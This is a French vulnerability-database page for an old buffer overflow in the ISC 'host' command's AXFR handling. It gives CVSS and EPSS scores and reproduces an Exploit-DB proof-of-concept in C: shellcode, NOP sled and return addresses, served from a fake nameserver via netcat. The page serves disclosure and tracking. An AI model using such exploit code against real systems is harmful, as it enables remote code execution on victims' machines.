CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Buffer overflow in host command allows a remote attacker to execute arbitrary commands via a long response to an AXFR query.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
0.79%
–
2023-05-07
–
–
–
0.94%
–
2024-02-11
–
–
–
0.94%
–
2024-06-02
–
–
–
0.94%
–
2024-10-27
–
–
–
0.94%
–
2024-12-22
–
–
–
16.71%
–
2025-01-19
–
–
–
16.71%
–
2025-03-18
–
–
–
–
7.61%
2025-03-30
–
–
–
–
9.29%
2025-03-30
–
–
–
–
9.29,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2000-10-26 22h00 +00:00 Auteur : antirez EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/1887/info
An exploitable buffer overflow vulnerability exists in certain non-current versions of the ISC host command.
host can be used to issue an AXFR command to effect a zone transfer for a given domain name. In affected versions of host, if the AXFR query yields a response from the server which exceeds 512 bytes in length (possible, since TCP DNS messages can be up to 65535 bytes in length), the response can overflow the relevant buffer onto the stack, allowing the return address of the function to be modified. This may allow an operator of a malicious nameserver to gain control of a system on which host is being run when a query is made.
command line:
./host -l -v -t any somezone.org <fake server>
proof of concepts exploit:
/* hostexp.c
* cc hostexp.c -o hostexp
*
* usage: ./hostexp | nc -l -p 53
*/
#include <stdio.h>
#include <netinet/in.h>
int main(void)
{
int offset = 140;
unsigned int base = 0xbffff74c+offset, i;
char shellcode[] = /* 48 bytes, ripped */
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/ls";
unsigned short a = htons(1024);
char buffer[1026];
memcpy(buffer, &a, 2);
memset(buffer+2, 'A', 100); /* avoid response processing */
memset(buffer+102, 0x90, 100);
memcpy(buffer+202, shellcode, 48);
for (i = 202+48; i < 202+48+600; i+=4)
memcpy(buffer+i, &base, 4);
write(fileno(stdout), buffer, 1026);
return 0;
}